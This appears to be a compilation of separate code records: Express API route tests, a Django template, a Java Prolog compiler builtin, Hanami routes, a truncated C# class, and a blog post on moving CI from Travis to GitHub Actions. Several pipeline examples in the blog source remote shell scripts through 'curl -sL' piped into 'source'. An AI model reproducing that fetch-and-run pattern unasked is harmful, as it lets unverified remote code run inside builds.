text:
'use strict';

var _ = require('lodash'),
  path = require('path'),
  config = require(path.resolve('./config/config')),
  db = require(path.resolve('./config/lib/sequelize')),
  express = require(path.resolve('./config/lib/express')),
  fs = require('fs-extra'),
  request = require('supertest'),
  should = require('should');

/**
 * Globals
 */
var agent, app;
var credentials, data, user, article;
var roleAdmin, roleUser;

/**
 * Article routes tests
 */
describe('Article "routes" Tests:', function() {
  before(function(done) {
    // Get application
    app = express.init(db.sequelize);
    agent = request.agent(app);

    // Get roles
    db.Role
      .findAll()
      .then(function(roles) {
        _.each(roles, function(value) {
          if (value.name === 'admin') {
            roleAdmin = value.id;
          } else if (value.name === 'user') {
            roleUser = value.id;
          }
        });
        done();
      })
      .catch(function(err) {
        return done(err);
      });
  });

  beforeEach(function(done) {
    // Create user credentials
    credentials = {
      username: 'username',
      password: 'sW1kXqrbyZUBNub6FKJgEA'
    };

    data = {
      firstName: 'Full',
      lastName: 'Name',
      displayName: 'Full Name',
      email: 'test@test.com',
      username: credentials.username,
      password: credentials.password,
      provider: 'local'
    };

    // Build new user
    user =
      db.User
      .build(data);

    // Save
    user
      .save()
      .then(function(user) {
        user.addRoles([roleUser, roleAdmin])
        .then(function(roles){
          done();
        })
        .catch(function(err) {
          should.not.exist(err);
        });
      })
      .catch(function(err) {
        should.not.exist(err);
      });

  });

  it('should be able to save an article if logged in', function(done) {
    agent.post('/api/auth/signin')
      .send(credentials)
      .expect(200)
      .end(function(signinErr, signinRes) {
        // Handle signin error
        if (signinErr) {
          done(signinErr);
        }

        var userId = user.id;
        article = {
          title: 'Article Title',
          content: 'Article Content',
          userId: user.id
        };

        // Save a new article
        agent.post('/api/articles')
          .send(article)
          .expect(200)
          .end(function(articleSaveErr, articleSaveRes) {
            // Handle article save error
            if (articleSaveErr) {
              done(articleSaveErr);
            }
            // Get a list of articles
            agent.get('/api/articles')
              .end(function(articlesGetErr, articlesGetRes) {
                // Handle article save error
                if (articlesGetErr) {
                  done(articlesGetErr);
                }

                // Get articles list
                var articles = articlesGetRes.body;

                // Set assertions
                (articles[0].User.id).should.equal(userId);
                (articles[0].title).should.match('Article Title');

                agent
                  .get('/api/auth/signout')
                  .expect(302)
                  .end(function(err, res) {
                    if (err) {
                      return done(err);
                    }
                    res.redirect.should.equal(true);

                    // NodeJS v4 changed the status code representation so we must check
                    // before asserting, to be comptabile with all node versions.
                    if (process.version.indexOf('v4') === 0) {
                      res.text.should.equal('Found. Redirecting to /');
                    } else {
                      res.text.should.equal('Moved Temporarily. Redirecting to /');
                    }
                    done();
                  });
              });
          });
      });
  });

  it('should not be able to save an article if not logged in', function(done) {
    var mockArticle = {
      title: 'Article Title',
      content: 'Article Content',
    };
    request(app).post('/api/articles')
      .send(mockArticle)
      .expect(403)
      .end(function(articleSaveErr, articleSaveRes) {
        // Call the assertion callback
        if (articleSaveErr) {
          done(articleSaveErr);
        }
        done();
      });
  });

  it('should not be able to save an article if no title is provided', function(done) {
    agent.post('/api/auth/signin')
      .send(credentials)
      .expect(200)
      .end(function(signinErr, signinRes) {
        // Handle signin error
        if (signinErr) {
          return done(signinErr);
        }

        var mockArticle = {
          content: 'Article content',
          userId: user.id
        };

        // Save a new article
        agent.post('/api/articles')
          .send(mockArticle)
          .expect(400)
          .end(function(articleSaveErr, articleSaveRes) {
            if (articleSaveErr) {
              done(articleSaveErr);
            }
            articleSaveRes.body.message.should.equal('title cannot be null');

            agent
              .get('/api/auth/signout')
              .expect(302)
              .end(function(err, res) {
                if (err) {
                  return done(err);
                }
                res.redirect.should.equal(true);

                // NodeJS v4 changed the status code representation so we must check
                // before asserting, to be comptabile with all node versions.
                if (process.version.indexOf('v4') === 0) {
                  res.text.should.equal('Found. Redirecting to /');
                } else {
                  res.text.should.equal('Moved Temporarily. Redirecting to /');
                }
                done();
              });
          });
      });
  });

  it('should be able to update an article if signed in', function(done) {
    agent.post('/api/auth/signin')
      .send(credentials)
      .expect(200)
      .end(function(signinErr, signinRes) {
        // Handle signin error
        if (signinErr) {
          done(signinErr);
        }

        article = {
          title: 'Article Title',
          content: 'Article Content',
          userId: user.id
        };

        // Save a new article
        agent.post('/api/articles')
          .send(article)
          .expect(200)
          .end(function(articleSaveErr, articleSaveRes) {
            // Handle article save error
            if (articleSaveErr) {
              done(articleSaveErr);
            }

            // Update article title
            article = {
              title: 'New Article Title',
              content: 'Article Content',
              userId: user.id
            };

            // Update an existing article
            agent.put('/api/articles/' + articleSaveRes.body.id)
              .send(article)
              .expect(200)
              .end(function(articleUpdateErr, articleUpdateRes) {
                // Handle article update error
                if (articleUpdateErr) {
                  done(articleUpdateErr);
                }

                // Set assertions
                (articleUpdateRes.body.id).should.equal(articleSaveRes.body.id);
                (articleUpdateRes.body.title).should.match('New Article Title');
                agent
                  .get('/api/auth/signout')
                  .expect(302)
                  .end(function(err, res) {
                    if (err) {
                      return done(err);
                    }
                    res.redirect.should.equal(true);

                    // NodeJS v4 changed the status code representation so we must check
                    // before asserting, to be comptabile with all node versions.
                    if (process.version.indexOf('v4') === 0) {
                      res.text.should.equal('Found. Redirecting to /');
                    } else {
                      res.text.should.equal('Moved Temporarily. Redirecting to /');
                    }
                    // Call the assertion callback
                    done();
                  });
              });
          });
      });
  });

  it('should be able to get a list of articles if not signed in', function(done) {
    // Create new article model instance
    article = {
      title: 'Article Title',
      content: 'Article Content',
      userId: user.id
    };
    var articleObj = db.Article.build(article);

    // Save the article
    articleObj.save()
      .then(function() {
        // Request articles
        request(app).get('/api/articles')
          .end(function(req, res) {
            // Set assertion
            res.body.should.be.instanceof(Array).and.not.have.lengthOf(0);
            done();
          });
      })
      .catch(function(err) {
        should.not.exist(err);
      });
  });

  it('should be able to get a single article if not signed in', function(done) {
    article = {
      title: 'Article Title',
      content: 'Article Content',
      userId: user.id
    };

    // Create new article model instance
    var articleObj = db.Article.build(article);
    // Save the article
    articleObj.save()
      .then(function() {
        // Request articles
        request(app).get('/api/articles/' + articleObj.id)
          .end(function(req, res) {
            // Set assertion
            res.body.should.be.instanceof(Object).and.have.property('title', article.title);
            done();
          });
      })
      .catch(function(err) {
        should.not.exist(err);
      });
  });

  it('should return proper error for single article with an invalid Id, if not signed in', function(done) {
    // test is not a valid sequelize Id
    request(app).get('/api/articles/test')
      .end(function(req, res) {
        // Set assertion
        res.body.should.be.instanceof(Object).and.have.property('message', '');
        // Call the assertion callback
        done();
      });
  });

  it('should return proper error for single article which doesnt exist, if not signed in', function(done) {
    // This is a valid sequelize Id but a non-existent article
    request(app).get('/api/articles/559')
      .end(function(req, res) {
        // Set assertion
        should.equal(res.body,null);
        // Call the assertion callback
        done();
      });
  });

  it('should be able to delete an article if signed in', function(done) {
    agent.post('/api/auth/signin')
      .send(credentials)
      .expect(200)
      .end(function(signinErr, signinRes) {
        // Handle signin error
        if (signinErr) {
          console.log(signinErr.text);
          done(signinErr);
        }

        article = {
          title: 'Article Title',
          content: 'Article Content',
          userId: user.id
        };

        // Save a new article
        agent.post('/api/articles')
          .send(article)
          .expect(200)
          .end(function(articleSaveErr, articleSaveRes) {
            // Handle article save error
            if (articleSaveErr) {
              done(articleSaveErr);
            }

            // Delete an existing article
            agent.delete('/api/articles/' + articleSaveRes.body.id)
              .send(article)
              .expect(200)
              .end(function(articleDeleteErr, articleDeleteRes) {
                // Handle article error error
                if (articleDeleteErr) {
                  done(articleDeleteErr);
                }

                // Set assertions
                (articleDeleteRes.body.id).should.equal(articleSaveRes.body.id);

                agent
                  .get('/api/auth/signout')
                  .expect(302)
                  .end(function(err, res) {
                    if (err) {
                      return done(err);
                    }
                    res.redirect.should.equal(true);

                    // NodeJS v4 changed the status code representation so we must check
                    // before asserting, to be comptabile with all node versions.
                    if (process.version.indexOf('v4') === 0) {
                      res.text.should.equal('Found. Redirecting to /');
                    } else {
                      res.text.should.equal('Moved Temporarily. Redirecting to /');
                    }
                    // Call the assertion callback
                    done();
                  });
              });
          });
      });
  });

  it('should not be able to delete an article if not signed in', function(done) {
    article = {
      title: 'Article Title',
      content: 'Article Content',
      userId: user.id
    };

    // Create new article model instance
    var articleObj = db.Article.build(article);

    // Save the article
    articleObj.save()
      .then(function() {
        // Try deleting article
        request(app).delete('/api/articles/' + articleObj.id)
          .expect(403)
          .end(function(articleDeleteErr, articleDeleteRes) {
            // Set message assertion
            (articleDeleteRes.body.message).should.match('User is not authorized');

            // Handle article error error
            done(articleDeleteErr);
          });
      })
      .catch(function(err) {
        should.not.exist(err);
      });
  });

  it('should be able to get a single article that has an orphaned user reference', function(done) {
    // Create orphan user creds
    var _creds = {
      username: 'orphan',
      password: 'M3@n.jsI$Aw3$0m3'
    };

    // Create orphan user
    var _orphan = db.User.build({
      firstName: 'Full',
      lastName: 'Name',
      displayName: 'Full Name',
      email: 'orphan@test.com',
      username: _creds.username,
      password: _creds.password,
      provider: 'local'
    });
    _orphan.save()
      .then(function(orphan) {
        orphan.addRoles([roleUser, roleAdmin])
          .then(function(roles) {

            agent.post('/api/auth/signin')
              .send(_creds)
              .expect(200)
              .end(function(signinErr, signinRes) {
                // Handle signin error
                if (signinErr) {
                  done(signinErr);
                }

                // Get the userId
                var orphanId = orphan.id;
                article = {
                  title: 'Article title',
                  content: 'Article content',
                  userId: orphanId
                };

                // Save a new article
                agent.post('/api/articles')
                  .send(article)
                  .expect(200)
                  .end(function(articleSaveErr, articleSaveRes) {
                    // Handle article save error
                    if (articleSaveErr) {
                      done(articleSaveErr);
                    }
                    //console.log(articleSaveRes.body);
                    // Set assertions on new article
                    (articleSaveRes.body.title).should.equal(article.title);
                    //should.exist(articleSaveRes.body.User);
                    should.equal(articleSaveRes.body.userId, orphanId);
                    agent
                      .get('/api/auth/signout')
                      .expect(302)
                      .end(function(err, res) {
                        if (err) {
                          return done(err);
                        }
                        res.redirect.should.equal(true);

                        // NodeJS v4 changed the status code representation so we must check
                        // before asserting, to be comptabile with all node versions.
                        if (process.version.indexOf('v4') === 0) {
                          res.text.should.equal('Found. Redirecting to /');
                        } else {
                          res.text.should.equal('Moved Temporarily. Redirecting to /');
                        }
                        // force the article to have an orphaned user reference
                        orphan.destroy()
                          .then(function() {
                            // now signin with valid user
                            agent.post('/api/auth/signin')
                              .send(credentials)
                              .expect(200)
                              .end(function(err, res) {
                                // Handle signin error
                                if (err) {
                                  done(err);
                                }
                                // Get the article
                                agent.get('/api/articles/' + articleSaveRes.body.id)
                                  .expect(200)
                                  .end(function(articleInfoErr, articleInfoRes) {
                                    // Handle article error
                                    if (articleInfoErr) {
                                      done(articleInfoErr);
                                    }

                                    // Set assertions
                                    (articleInfoRes.body.id).should.equal(articleSaveRes.body.id);
                                    (articleInfoRes.body.title).should.equal(article.title);
                                    //should.equal(articleInfoRes.body.user, undefined);

                                    // Call the assertion callback
                                    done();
                                  });
                              });
                          })
                          .catch(function(err) {
                            should.not.exist(err);
                          });

                      });
                  });
              });
          })
          .catch(function(err) {
            should.not.exist(err);
          });
      })
      .catch(function(err) {
        should.not.exist(err);
      });
  });
  afterEach(function(done) {
    user
      .destroy()
      .then(function() {
        done();
      })
      .catch(function(err) {
        should.not.exist(err);
      });
  });
  after(function(done){
    db.Article.destroy({
      where: {
        title: 'Article Title'
      }
    })
    .then(function(){
      done();
    })
    .catch(function(err) {
      should.not.exist(err);
    });
  });
});


text: npm version minor && npm publish && npm version patch && git push --tags && git push origin master

redpajama_set_name: RedPajamaGithub


text:
{% extends "tippspiel/base.html" %}
{% load i18n dicthelpers %}
{% block body %}

        {% if number > 1 %}
        Previous
        {% endif %}

{{ number }}. {% trans "Matchday" %}

        {% if number < 34 %}
        Next
        {% endif %}

    <form action="{% url tippspiel_matchday_detail number %}" method="post">
    {% csrf_token %}

        {% for match in matches %}
        {% with tipp=tipps|lookup:match.pk %}

            {% if match.has_started %}
            {% include "tippspiel/match/matchday_detail_match_started.html" %}
            {% else %}
            {% include "tippspiel/match/matchday_detail_match_not_started.html" %}
            {% endif %}

        {% endwith %}
        {% endfor %}

            <button type="submit" data-icon="check" data-iconpos="right" data-theme="b">{% trans "Save" %}</button>

    </form>

{% endblock %}


text:
package com.thesett.aima.logic.fol.wam.builtins;

import com.thesett.aima.logic.fol.Functor;
import com.thesett.aima.logic.fol.FunctorName;
import com.thesett.aima.logic.fol.wam.compiler.DefaultBuiltIn;
import com.thesett.aima.logic.fol.wam.compiler.WAMInstruction;
import com.thesett.common.util.SizeableLinkedList;

/**
 * Call implements the Prolog 'call' operator. Call resolves its argument as a query. The argument to call may be a
 * variable, but must be bound to a callable functor or atom at the time the call is made in order to be valid.
 *
 *

CRC Card

 *
 Responsibilities  Collaborations
 *
 Call a callable functor or atom as a query for resolution.
 *

 *
 * @author Rupert Smith
 */
public class Call extends BaseBuiltIn
{
    /**
     * Creates a cut built-in to implement the specified functor.
     *
     * @param functor        The functor to implement as a built-in.
     * @param defaultBuiltIn The default built in, for standard compilation and interners and symbol tables.
     */
    public Call(Functor functor, DefaultBuiltIn defaultBuiltIn)
    {
        super(functor, defaultBuiltIn);
    }

    /** {@inheritDoc} */
    public SizeableLinkedList<WAMInstruction> compileBodyArguments(Functor expression, boolean isFirstBody,
        FunctorName clauseName, int bodyNumber)
    {
        // Build the argument to call in the usual way.
        return defaultBuiltIn.compileBodyArguments(expression, isFirstBody, clauseName, bodyNumber);
    }

    /** {@inheritDoc} */
    public SizeableLinkedList<WAMInstruction> compileBodyCall(Functor expression, boolean isFirstBody,
        boolean isLastBody, boolean chainRule, int permVarsRemaining)
    {
        // Used to build up the results in.
        SizeableLinkedList<WAMInstruction> instructions = new SizeableLinkedList<WAMInstruction>();

        // Generate the call or tail-call instructions, followed by the call address, which is f_n of the
        // called program.
        if (isLastBody)
        {
            // Deallocate the stack frame at the end of the clause, but prior to calling the last
            // body predicate.
            // This is not required for chain rules, as they do not need a stack frame.
            if (!chainRule)
            {
                instructions.add(new WAMInstruction(WAMInstruction.WAMInstructionSet.Deallocate));
            }

            instructions.add(new WAMInstruction(WAMInstruction.WAMInstructionSet.CallInternal,
                    (byte) (permVarsRemaining & 0xff), new FunctorName("execute", 1)));
        }
        else
        {
            instructions.add(new WAMInstruction(WAMInstruction.WAMInstructionSet.CallInternal,
                    (byte) (permVarsRemaining & 0xff), new FunctorName("call", 1)));
        }

        return instructions;
    }

    /**
     * Creates a string representation of this functor, mostly used for debugging purposes.
     *
     * @return A string representation of this functor.
     */
    public String toString()
    {
        return "Call: [ arguments = " + toStringArguments() + " ]";
    }
}


text:
layout: single
permalink: /blog/2019/10/20/enter-the-github-actions😘🐙🚀
title:  "Enter the Github Actions 😘🐙🚀"
excerpt: "We are in the end game now"
date:   2019-10-20 00:37:00:00 +1100
author: max@aem.design
categories:
  - blog
tags:
  - devops
  - aem
  - docker
  - automation
  - github
  - actions
  - github-actions
redirect_from:
  - /blog/2019/10/20/enter-the-github-actions
header:
    overlay_image: /assets/images/github/gihub-actions-matrix.png
---

<style>
.page__hero--overlay p, .page__hero--overlay h1{
    background-color: rgba(23,168,23, 0.6);
    max-width: fit-content !important;
    border-radius: 25px;
    padding: 10px;
}
</style>

CI/CD space if going off like a bunch of emoji in a url! But one thing you can be sure is to kiss 😘 your all-enveloping 🐙 pipeline tools good bye and put on your seat belt, as the pipeline mother-ship is taking off 🚀!

Travis, Gitlab, Jenkins, Azure DevOps, CircleCI, Codeship all of these and more are awesome pipeline tools! We use them daily, they do us proud of things that we can accomplish with effort alone in this virtual world of ours. They make us happy when we move our piplines from one provider to another by giving us latest YAML syntax. They make us happy when they give us badges that we wear with pride in our readme's! They give us fancy plugins and cli tools that make us rewrite all of our pipelines over and over!

But late night wrestling with CI tools does leave feelings of doubt deep in your mind, maybe this is not the end game. Yes pulling data across the oceans so that you can just build the code does seem ok and mirroring your repos to another build system so that your Git LFS quota does not get smashed is worthy battle. But you wonder should you need to do all that and is there a better way.

We know that big things come from little things, so all the small battles with these awesome tools seem to be a built up to something big. All these battles helped us to figure out what we really need from these pipeline tools.

And it seems that the ask is much firmer now after all the experimenting and it goes something like this:

- I want my code to be in a place where everyone can get at it.
- I want my code base to be respected by everyone
- I want my pipeline to be right there with the code so that I dont need to worry about any smudges, submodules and other solvable unknowns.
- I want this YAML config to be easy to understand and simple to follow, like Travis but with more YAML

Sure there is things to consider but for lets see where this takes us.

Now to be clear Travis is #1 until you need to run something longer than 50min then is Azure DevOps at #2. Travis is simple and it give you exactly what you want and for free. Azure DevOps is the all in one package that you dream of, but you need to move your code from Github. 🤔

Gitlab is awesome for a few years we have been running on it, running over quotas etc pain full but worth while experience right up to archiving all project and moving to github. Gitlab is a great one-stop-shop if you want to run on-prem, as there is Github and Azure in paid categories, that compete at different level.

Github has become the defacto standard for open source projects. Yes Azure has tried to capture the market and its done a bloody great job and Gihub is now owned by Mirosoft, and we will see who will win the internal pageant in the end but there will always be open source favorite.

But all of this really does not really matter for now, what matters is that Github announced and delivered on their promise to have pipelines built into their offering. This was a long throw of a spanner and it has been is slow motion for a year, but it landed and pressed the tak off button! And its looking good! Yes there are features missing, but it wont be long.

Amazingly it seems that they copied some of the Azure DevOps pipeline components and have improved on them! This makes Github an absolute steal for open source project as its now one stop shop for all of your needs. It's astonishing how much [value this offers](https://help.github.com/en/github/automating-your-workflow-with-github-actions/about-github-actions) it leaves you with the thought what is the catch?! There aint none atm and I do hope they wont do Larry Ellison on us in a few years. Obviously people will just move to where there is more common sense.

For now we have started to migrate all of our pipelines from Travis to Github Actions, so far it has been a very quick migration there are many guides how to migrate but if you know your pipelines its simpler to just get started!

### From Travis to Github Actions - the non definitive guide

To get started all you need to do is make `.github/workflows/main.yml` file in your project with following content:

```yaml
{% raw %}
name: CI

on: [push]

jobs:
  build:
    env:
      GLOBAL_VAR: i am global
      SECRET_VAR: ${{ secrets.SECRET_VAR }}     # set this in Github Repo -> Setting -> Secrets
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v1
      - name: run a one-line script
        run: echo Hello, world!
      - name: Run a multi-line script
        run: |
          echo Add other actions to build,
          echo test, and deploy your project.
      - name: run a one-line script with if
        if: github.ref == 'refs/heads/master'
        run: echo Hello, world!
      - name: set step output and set some vars
        id: stepwithoutputs
        run: |
          echo ::set-env name=COOL_OUTPUT::HELLO THERE ENV
          echo ::set-output name=COOL_OUTPUT::HELLO THERE OUTPUT
      - name: dump some vars
        run: |
          echo STEP_OUTPUT_MAP=${STEP_OUTPUT_MAP}
          echo STEP_OUTPUT=${STEP_OUTPUT}
          echo STEP_SET_ENV_VAR=${STEP_SET_ENV_VAR}
          echo JOB_VAR=${JOB_VAR}
        env:
          STEP_OUTPUT_MAP: ${{ toJson(steps.stepwithoutputs.outputs) }}
          STEP_OUTPUT: ${{ steps.stepwithoutputs.outputs.COOL_OUTPUT }}
          STEP_SET_ENV_VAR: ${{ env.COOL_OUTPUT }}
          JOB_VAR: ${{ env.SECRET_VAR }}
      - uses: meeDamian/github-release@1.0
        with:
          token: ${{ secrets.GITHUB_TOKEN }}
          tag: ${{ env.GITHUB_TAG }}
          name: ${{ env.GITHUB_TAG }}
          body: ${{ env.GIT_RELEASE_NOTES }}
{% endraw %}
```

Here you can see common items that you could use in your simple pipeline, its a good start for converting your pipelines.

Then you can go ahead and replace steps with the ones you have in your travis file. Here are some how to notes on things that you will need to know:

- `name:` at the top is the ID of action so keep that short.
- unlike Travis there is `jobs/<job_id>` layout where you can separate your flow if you need, initially having everything in one job is easiest, you can refactor once you have more requirements.
- `uses` mean using another pre made action from marketplace, you pass parameters to actions using `with`.
- you can use bash variables in `run` steps but you need to use "Context Expression" when doing it on other YAML attributes such `if`, `when` or passing variables to things.
- `if` is added directly to step YAML and you use Context Expressions to evaluate your logic, ex check if current branch is master: `if: github.ref == 'refs/heads/master'`.
- to `export` a variable to environment you need to do following echo command format `echo ::set-env name={name}::{value}`.
- you can also set step outputs `::set-output name={name}::{value}` that allow you to reference this step it in Context Expression `steps.<step_id>.outputs.<variable>` this separates global from step variables.
- to use `env` variables in `run` steps you can just do `${DOCKER_REGISTRY}` this will evaluate the variable as bash variable.
- to use `env` in YAML parts such as `with` etc you need to use Content Expressions `${{ env.DOCKER_REGISTRY }}` this will evaluate the variable as bash variable.
- to pass secrets to steps or use them in `env` variables use the Content Expression `${{ secrets.GITHUB_TOKEN }}`.
- check Awesome List of Must Have Actions in your Pipeline](https://github.com/sdras/awesome-actions) for custom actions that will replace comparable Travis actions, example [meeDamian/github-release@1.0](https://github.com/marketplace/actions/github-release-create-update-and-upload-assets) replaces Travis `deploy` step.
- caching is not there yet but will be available in November 2019.
- you can use Build Matrix see [Github Actions YAML Syntax](https://help.github.com/en/articles/workflow-syntax-for-github-actions) for more info

Following is a list of resource you should use to learn about syntax before you stat googling.

- [YAML Syntax](https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions)
- [Github Actions YAML Syntax](https://help.github.com/en/articles/workflow-syntax-for-github-actions)
- [Setting Variables](https://help.github.com/en/github/automating-your-workflow-with-github-actions/development-tools-for-github-actions)
- [Global Variables and Secrets](https://help.github.com/en/articles/virtual-environments-for-github-actions)
- [Context Expression and Global Context](https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions)
- [Awesome List of Must Have Actions in your Pipeline](https://github.com/sdras/awesome-actions) - check this before googling
- [Github Actions Forum](https://github.community/t5/GitHub-Actions/bd-p/actions) - search here before googling

For better comparison here is an actual [Travis pipeline](https://github.com/aem-design/docker-toughday/blob/master/.travis.yml):

```yaml
{% raw %}
language: java

if: tag is blank

services:
  - 'docker'

env:
  global:
    - PACKAGE_PATH="$(pwd)/packages"

cache:
  directories:
    - $PACKAGE_PATH

before_install:
  - "source <(curl -sL https://github.com/aem-design/aemdesign-docker/releases/latest/download/get_config.sh)"
  - echo GET PACKAGES
  - echo $PACKAGE_PATH
  - if [[ ! -d $PACKAGE_PATH ]]; then mkdir $PACKAGE_PATH; fi
  - echo PACKAGES CONTENTS $PACKAGE_PATH
  - ls -latr $PACKAGE_PATH
  - echo DOWNLOAD PACKAGES INTO ${PACKAGE_PATH}
  - ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://helpx.adobe.com/experience-manager/6-2/sites/developing/using/tough-day/_jcr_content/main-pars/download-section/download-1/file.res/toughday-6.1.jar"
  - ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://repo.adobe.com/nexus/content/repositories/releases/com/adobe/qe/toughday2/0.9.2/toughday2-0.9.2.jar"
  - ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://repo.adobe.com/nexus/content/repositories/releases/com/adobe/qe/toughday2/0.2.1/toughday2-0.2.1.jar"
  - ls -latr $PACKAGE_PATH
  - "source <(curl -sL https://github.com/aem-design/aemdesign-docker/releases/latest/download/get_version.sh)"

#build and test
install:
  - docker build --pull -t $IMAGE:$IMAGE_VERSION .
  - export CONTAINER_COMMAND="docker run $IMAGE:$IMAGE_VERSION $TEST_COMMAND"
  - echo CONTAINER_COMMAND=$CONTAINER_COMMAND
  - export CONTAINER_OUTPUT=$(eval $CONTAINER_COMMAND)
  - echo CONTAINER_OUTPUT=$CONTAINER_OUTPUT
  - if [[ ! ${CONTAINER_OUTPUT} =~ ${TEST_COMMAND_VERIFY} ]]; then travis_terminate 1; fi
  - docker images

#test
script:
  - echo "LOGIN TO HUB.DOCKER"
  - docker login -u $DOCKER_USERNAME -p $DOCKER_PASSWORD
  - echo "PUSH HUB.DOCKER"
  - docker push $IMAGE:$IMAGE_VERSION
  - if [[ $TRAVIS_BRANCH == "master" ]]; then docker tag $IMAGE:$IMAGE_VERSION $IMAGE:latest && docker push $IMAGE:latest; fi
  - echo "UPDATE README IN HUB.DOCKER"
  - if [[ $TRAVIS_BRANCH == "master" ]]; then docker run --rm -v $(pwd):/data/ aemdesign/dockerhub-description "$DOCKER_USERNAME" "$DOCKER_PASSWORD" "$IMAGE"; fi

## Get the project version
before_deploy:
  - if [[ $TRAVIS_BRANCH == "master" ]]; then git tag $TRAVIS_TAG; fi

## Create release in GitHub
deploy:
  provider: releases
  tag_name: $TRAVIS_TAG
  name: $TRAVIS_TAG
  target_commitish: $TRAVIS_COMMIT
  api_key: $GITHUB_TOKEN
  skip_cleanup: true
  on:
    branch: master
{% endraw %}
```

Its ported version looks very similar [Gitub Actions](https://github.com/aem-design/docker-toughday/blob/master/.github/workflows/build.yml):

```yaml
{% raw %}
name: build

on: [push]

jobs:
  build:

    runs-on: ubuntu-latest
    env:
      DOCKER_REGISTRY: docker.io
      ORGANISATION_NAME: aemdesign
      DOCKER_USERNAME: ${{ secrets.DOCKER_USERNAME }}
      DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
    steps:
      - uses: actions/checkout@v1
      - name: set envirnment variables
        id: config
        run: |
          echo GET PACKAGES
          export PACKAGE_PATH=$(pwd)/packages
          echo ::set-env name=PACKAGE_PATH::${PACKAGE_PATH}
          source <(curl -sL https://github.com/aem-design/aemdesign-docker/releases/latest/download/github_get_config.sh)
          echo $PACKAGE_PATH
          if [[ ! -d $PACKAGE_PATH ]]; then mkdir $PACKAGE_PATH; fi
          echo PACKAGES CONTENTS $PACKAGE_PATH
          ls -latr $PACKAGE_PATH
          echo DOWNLOAD PACKAGES INTO ${PACKAGE_PATH}
          ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://helpx.adobe.com/experience-manager/6-2/sites/developing/using/tough-day/_jcr_content/main-pars/download-section/download-1/file.res/toughday-6.1.jar"
          ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://repo.adobe.com/nexus/content/repositories/releases/com/adobe/qe/toughday2/0.9.2/toughday2-0.9.2.jar"
          ./scripts/download.sh "$PACKAGE_PATH/" "-" "-" "https://repo.adobe.com/nexus/content/repositories/releases/com/adobe/qe/toughday2/0.2.1/toughday2-0.2.1.jar"
          ls -latr $PACKAGE_PATH
          source <(curl -sL https://github.com/aem-design/aemdesign-docker/releases/latest/download/github_get_version.sh)

      - name: build and test docker image
        run: |
          docker build --pull -t $IMAGE:$IMAGE_VERSION .
          source <(curl -sL https://github.com/aem-design/aemdesign-docker/releases/latest/download/container_verify.sh)
          (cd test && ./run_tests.sh "$IMAGE:$IMAGE_VERSION")
          docker images

      - name: login to docker registry
        run: echo "${{ secrets.DOCKER_PASSWORD }}" | docker login ${DOCKER_REGISTRY} -u "${{ secrets.DOCKER_USERNAME }}" --password-stdin

      - name: push image version
        run: docker push $IMAGE:$IMAGE_VERSION

      - name: push latest image on master
        if: github.ref == 'refs/heads/master'
        run: |
          docker tag $IMAGE:$IMAGE_VERSION $IMAGE:latest
          docker push $IMAGE:latest

      - name: update registry description with readme on master
        if: github.ref == 'refs/heads/master'
        run: |
          docker run --rm -v $(pwd):/data/ aemdesign/dockerhub-description "$DOCKER_USERNAME" "$DOCKER_PASSWORD" "$IMAGE"

      - uses: meeDamian/github-release@1.0
        with:
          token: ${{ secrets.GITHUB_TOKEN }}
          tag: ${{ env.GITHUB_TAG }}
          name: ${{ env.GITHUB_TAG }}
          body: ${{ env.GIT_RELEASE_NOTES }}
{% endraw %}

```

Differences are almost minor and migration follow copy-paste approach for majority of pipeline which is ideal. That's all there is to this migration all you have to do now is commit and head to the Actions console in your repo to see your build take off 🚀 as the next stop is the moon!

As always checkout the code, fork, extend and contribute if you wish.


text:
get '/fighters', to: 'fighters#index'
get '/fighters/:id', to: 'fighters#show'
post '/fighters', to: 'fighters#create'

# Configure your routes here
# See: http://www.rubydoc.info/gems/hanami-router/#Usage


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Glimpse.AspNet.Model;
using Glimpse.Core.Extensibility;
using Glimpse.Core.Tab.Assist;

namespace Glimpse.AspNet.SerializationConverter
{
    public class EnvironmentModelConverter : SerializationConverter<EnvironmentModel>
    {
        public override object Convert(EnvironmentModel obj)
        {
            var root = new TabObject();
            root.AddRow().Key("Machine").Value(BuildMachineDetails(obj.Machine));
            root.AddRow().Key("Web Server").Value(BuildWebServerDetails(obj.WebServer));
            root.AddRow().Key("Framework").Value(BuildFrameworkDetails(obj.Framework));
            root.AddRow().Key("Process").Value(BuildProcessDetails(obj.Process));
            root.AddRow().Key("Timezone").Value(BuildTimeZoneDetails(obj.TimeZone));
            root.AddRow().Key("Application Assemblies").Value(BuildAssemblyDetails(obj.ApplicationAssemblies));
            root.AddRow().Key("System Assemblies").Value(BuildAssemblyDetails(obj.SystemAssemblies));

            return root.Build();
        }

        private static TabObject BuildWebServerDetails(EnvironmentWebServerModel model)
        {
            var section = new TabObject();
            section.AddRow().Key("Type").Value(model.ServerType);
            section.AddRow().Key("Integrated Pipeline").Value(model.IntegratedPipeline);
            return section;
        }

        private TabObject BuildFrameworkDetails(EnvironmentFrameworkModel model)
        {
            var section = new TabObject();
            section.AddRow().Key(".NET Framework").Value(model.DotnetFramework);
            section.AddRow().Key("Debugging").Value(model.Debugging);
            section.AddRow().Key("Server Culture").Value(model.ServerCulture);
            section.AddRow().Key("Current Trust Level").Value(model.CurrentTrustLevel);
            return section;
        }

        private TabObject BuildMachineDetails(EnvironmentMachineModel model)
        {
            var section = new TabObject();
            section.AddRow().Key("Name").Value(model.Name);
            section.AddRow().Key("Operating System").Value(model.OperatingSystem);
            section.AddRow().Key("Start Time").Value(model.StartTime);
            return section;
        }

        private TabObject BuildTimeZoneDetails(EnvironmentTimeZoneModel model)
        {
            var section = new TabObject();
            section.AddRow().Key("Current").Value(model.Name);
            section.AddRow().Key("Is Daylight Saving").Value(model.IsDaylightSavingTime);
            section.AddRow().Key("UtcOffset").Value(model.UtcOffset);
            section.AddRow().Key("UtcOffset w/DLS").Value(model.UtcOffsetWithDls);
            return section;
        }

        private TabObject BuildProcessDetails(EnvironmentProcessModel model)
        {
            var section = new TabObject();
